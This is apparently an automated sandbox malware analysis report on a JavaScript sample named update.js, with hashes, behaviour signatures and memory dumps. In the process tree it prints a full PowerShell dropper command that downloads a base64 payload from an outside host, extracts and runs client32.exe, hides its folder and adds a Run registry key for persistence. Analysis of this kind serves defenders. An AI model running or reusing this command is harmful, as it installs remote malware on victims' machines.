Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    24/01/2024, 13:24

General

  • Target

    update.js

  • Size

    93KB

  • MD5

    45e82c537987a2e09e296c7587ae6ca8

  • SHA1

    2f5c6ef11b5c6afca0939b3390c692b82ac1653f

  • SHA256

    2218ec62fc556c7b06749ad5066a504264ef7d8349aac4d0c08443d380545ca3

  • SHA512

    d96e70b3ab173b43718117c76d5c87c8eab3b2321fb2a5cf88a50bd45d7225021e81da472c7c8df71851230eebde6193661125493f3c949075835a3c29e8ae95

  • SSDEEP

    1536:dfKBCFcJag2MfKBCFcJag2MfKBCFcJag2YfKBCFcJag2mfKfKBCFcJag2x:dfK42Yg9fK42Yg9fK42YgTfK42YgifKk

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://boxtechcompany.com/1/GetData.php?6391

exe.dropper

https://boxtechcompany.com/1/GetData.php?6391

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2232
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $OsDVkrlGkES='https://boxtechcompany.com/1/GetData.php?6391';$xcVxNiULYzKMaIlYLqVorQ=(New-Object System.Net.WebClient).DownloadString($OsDVkrlGkES);$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ=[System.Convert]::FromBase64String($xcVxNiULYzKMaIlYLqVorQ);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $IyrierWsCFMAdjhPJnDxD=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $IyrierWsCFMAdjhPJnDxD -PathType Container)) { New-Item -Path $IyrierWsCFMAdjhPJnDxD -ItemType Directory };$p=Join-Path $IyrierWsCFMAdjhPJnDxD 'zxc.zip';[System.IO.File]::WriteAllBytes($p,$DpfCYRLuVHPScYcaHlibKbjfuuMhUMZVuQQ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$IyrierWsCFMAdjhPJnDxD)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $IyrierWsCFMAdjhPJnDxD 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $IyrierWsCFMAdjhPJnDxD -Force; $FSDFSSD.attributes='Hidden';$s=$IyrierWsCFMAdjhPJnDxD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2848-4-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

    Filesize

    2.9MB

  • memory/2848-5-0x0000000001F70000-0x0000000001F78000-memory.dmp

    Filesize

    32KB

  • memory/2848-6-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB

  • memory/2848-7-0x0000000001ED0000-0x0000000001F50000-memory.dmp

    Filesize

    512KB

  • memory/2848-8-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB

  • memory/2848-9-0x0000000001ED0000-0x0000000001F50000-memory.dmp

    Filesize

    512KB

  • memory/2848-11-0x0000000001ED0000-0x0000000001F50000-memory.dmp

    Filesize

    512KB

  • memory/2848-10-0x0000000001ED0000-0x0000000001F50000-memory.dmp

    Filesize

    512KB

  • memory/2848-12-0x0000000001ED0000-0x0000000001F50000-memory.dmp

    Filesize

    512KB

  • memory/2848-13-0x000007FEF6080000-0x000007FEF6A1D000-memory.dmp

    Filesize

    9.6MB